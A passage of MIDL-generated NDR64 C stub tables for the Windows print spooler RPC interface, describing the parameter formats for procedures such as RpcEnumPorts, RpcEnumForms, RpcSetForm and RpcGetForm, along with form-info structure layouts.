/* 0x48 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 7 /* 0x7 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* pName */      /* parameter pName */\n        &__midl_frag1080,\n        { \n        /* pName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* Level */      /* parameter Level */\n        &__midl_frag1082,\n        { \n        /* Level */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pMonitor */      /* parameter pMonitor */\n        &__midl_frag546,\n        { \n        /* pMonitor */\n            1,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], [out] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* cbBuf */      /* parameter cbBuf */\n        &__midl_frag1082,\n        { \n        /* cbBuf */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* pcbNeeded */      /* parameter pcbNeeded */\n        &__midl_frag1082,\n        { \n        /* pcbNeeded */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* pcReturned */      /* parameter pcReturned */\n        &__midl_frag1082,\n        { \n        /* pcReturned */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1082,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag532_t __midl_frag532 =\n{ \n/* *BYTE */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag966\n};\n\nstatic const __midl_frag528_t __midl_frag528 =\n{ \n/* RpcEnumPorts */\n    { \n    /* RpcEnumPorts */      /* procedure RpcEnumPorts */\n        (NDR64_UINT32) 23986240 /* 0x16e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 56 /* 0x38 */ ,  /* Stack size */\n        (NDR64_UINT32) 16 /* 0x10 */,\n        (NDR64_UINT32) 72 /* 0x48 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 7 /* 0x7 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* pName */      /* parameter pName */\n        &__midl_frag822,\n        { \n        /* pName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* Level */      /* parameter Level */\n        &__midl_frag1082,\n        { \n        /* Level */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pPort */      /* parameter pPort */\n        &__midl_frag532,\n        { \n        /* pPort */\n            1,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], [out] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* cbBuf */      /* parameter cbBuf */\n        &__midl_frag1082,\n        { \n        /* cbBuf */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* pcbNeeded */      /* parameter pcbNeeded */\n        &__midl_frag1082,\n        { \n        /* pcbNeeded */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* pcReturned */      /* parameter pcReturned */\n        &__midl_frag1082,\n        { \n        /* pcReturned */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1082,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag515_t __midl_frag515 =\n{ \n/* RpcEnumForms */\n    { \n    /* RpcEnumForms */      /* procedure RpcEnumForms */\n        (NDR64_UINT32) 23986240 /* 0x16e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 56 /* 0x38 */ ,  /* Stack size */\n        (NDR64_UINT32) 52 /* 0x34 */,\n        (NDR64_UINT32) 72 /* 0x48 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 7 /* 0x7 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag1072,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* Level */      /* parameter Level */\n        &__midl_frag1082,\n        { \n        /* Level */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pForm */      /* parameter pForm */\n        &__midl_frag546,\n        { \n        /* pForm */\n            1,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], [out] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* cbBuf */      /* parameter cbBuf */\n        &__midl_frag1082,\n        { \n        /* cbBuf */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* pcbNeeded */      /* parameter pcbNeeded */\n        &__midl_frag1082,\n        { \n        /* pcbNeeded */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* pcReturned */      /* parameter pcReturned */\n        &__midl_frag1082,\n        { \n        /* pcReturned */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1082,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag513_t __midl_frag513 =\n{ \n/* *FORM_CONTAINER */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag476\n};\n\nstatic const __midl_frag509_t __midl_frag509 =\n{ \n/* RpcSetForm */\n    { \n    /* RpcSetForm */      /* procedure RpcSetForm */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 32 /* 0x20 */ ,  /* Stack size */\n        (NDR64_UINT32) 36 /* 0x24 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 4 /* 0x4 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag1072,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pFormName */      /* parameter pFormName */\n        &__midl_frag1081,\n        { \n        /* pFormName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pFormInfoContainer */      /* parameter pFormInfoContainer */\n        &__midl_frag476,\n        { \n        /* pFormInfoContainer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1082,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag503_t __midl_frag503 =\n{ \n/*  */\n    (NDR64_UINT32) 0 /* 0x0 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 32 /* 0x20 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag502_t __midl_frag502 =\n{ \n/* *BYTE */\n    { \n    /* *BYTE */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *BYTE */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag503\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag997\n    }\n};\n\nstatic const __midl_frag501_t __midl_frag501 =\n{ \n/* *BYTE */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag502\n};\n\nstatic const __midl_frag496_t __midl_frag496 =\n{ \n/* RpcGetForm */\n    { \n    /* RpcGetForm */      /* procedure RpcGetForm */\n        (NDR64_UINT32) 23986240 /* 0x16e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 56 /* 0x38 */ ,  /* Stack size */\n        (NDR64_UINT32) 52 /* 0x34 */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 7 /* 0x7 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag1072,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pFormName */      /* parameter pFormName */\n        &__midl_frag1081,\n        { \n        /* pFormName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* Level */      /* parameter Level */\n        &__midl_frag1082,\n        { \n        /* Level */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pForm */      /* parameter pForm */\n        &__midl_frag501,\n        { \n        /* pForm */\n            1,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], [out] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* cbBuf */      /* parameter cbBuf */\n        &__midl_frag1082,\n        { \n        /* cbBuf */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* pcbNeeded */      /* parameter pcbNeeded */\n        &__midl_frag1082,\n        { \n        /* pcbNeeded */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1082,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag489_t __midl_frag489 =\n{ \n/*  */\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    },\n    { \n    /* *char */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag486\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    }\n};\n\nstatic const __midl_frag486_t __midl_frag486 =\n{ \n/* *char */\n    { \n    /* *char */\n        0x63,    /* FC64_CONF_CHAR_STRING */\n        { \n        /* *char */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT16) 1 /* 0x1 */\n    }\n};\n\nstatic const __midl_frag484_t __midl_frag484 =\n{ \n/* RPC_FORM_INFO_2 */\n    { \n    /* RPC_FORM_INFO_2 */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* RPC_FORM_INFO_2 */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 88 /* 0x58 */,\n        0,\n        0,\n        &__midl_frag489,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 6 /* 0x6 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* RPC_FORM_INFO_2 */\n            0x92,    /* FC64_BUFFER_ALIGN */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag483_t __midl_frag483 =\n{ \n/* *RPC_FORM_INFO_2 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag484\n};\n\nstatic const __midl_frag482_t __midl_frag482 =\n{ \n/*  */\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag1081\n    }\n};\n\nstatic const __midl_frag480_t __midl_frag480 =\n{ \n/* FORM_INFO_1 */\n    { \n    /* FORM_INFO_1 */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* FORM_INFO_1 */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        0,\n        0,\n        &__midl_frag482,\n    },\n    { \n    /*  */\n        { \n        /* struct 